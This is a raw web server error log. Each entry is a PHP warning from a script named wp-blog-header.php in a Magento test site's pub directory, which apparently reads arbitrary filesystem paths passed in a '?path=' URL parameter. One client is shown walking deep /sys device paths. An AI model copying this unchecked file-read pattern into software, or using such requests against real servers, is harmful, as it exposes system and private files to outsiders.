[Thu Mar 26 15:25:38.691608 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers/ec
[Thu Mar 26 15:25:41.370215 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce
[Thu Mar 26 15:25:44.056843 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:ba
[Thu Mar 26 15:25:44.564887 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem
[Thu Mar 26 15:25:45.711026 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/drivers/ec
[Thu Mar 26 15:25:50.012283 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be
[Thu Mar 26 15:25:52.192046 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:ba
[Thu Mar 26 15:25:52.652984 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/drivers/ec
[Thu Mar 26 15:25:53.219780 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:fa
[Thu Mar 26 15:25:57.974602 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem
[Thu Mar 26 15:26:03.675613 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:ce
[Thu Mar 26 15:26:10.543840 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/drivers/ec
[Thu Mar 26 15:26:12.717429 2026] [php:warn] [pid 3216441] [client 74.7.241.26:39876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:ba
[Thu Mar 26 15:26:17.618716 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:aa
[Thu Mar 26 15:26:19.784421 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/drivers/ec
[Thu Mar 26 15:26:23.012113 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/drivers/ac
[Thu Mar 26 15:26:27.701668 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/drivers/ac
[Thu Mar 26 15:26:29.310583 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:fc
[Thu Mar 26 15:26:31.467584 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:fe
[Thu Mar 26 15:26:35.648317 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:ae
[Thu Mar 26 15:26:38.409238 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/drivers/ac
[Thu Mar 26 15:26:39.430634 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:cc
[Thu Mar 26 15:26:41.495765 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:fe
[Thu Mar 26 15:26:43.001959 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:ba
[Thu Mar 26 15:26:44.700924 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:fe
[Thu Mar 26 15:26:45.613481 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:fc
[Thu Mar 26 15:26:47.763747 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:dc
[Thu Mar 26 15:26:48.836396 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:ba
[Thu Mar 26 15:26:50.422451 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/drivers/ac
[Thu Mar 26 15:26:54.204069 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/drivers/ec
[Thu Mar 26 15:26:57.267933 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ea
[Thu Mar 26 15:26:57.807149 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem
[Thu Mar 26 15:26:58.334272 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:ee
[Thu Mar 26 15:26:59.898243 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/drivers/ec
[Thu Mar 26 15:27:01.039854 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:ae
[Thu Mar 26 15:27:01.631352 2026] [php:warn] [pid 3216554] [client 74.7.241.26:49634] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/drivers/ac
[Thu Mar 26 15:27:07.092328 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:aa
[Thu Mar 26 15:27:09.639752 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:bc
[Thu Mar 26 15:27:13.802768 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/drivers/ac
[Thu Mar 26 15:27:16.487456 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:ae
[Thu Mar 26 15:27:17.023290 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/drivers/ec
[Thu Mar 26 15:27:17.552850 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/drivers/ac
[Thu Mar 26 15:27:21.270464 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:be
[Thu Mar 26 15:27:22.924098 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ce
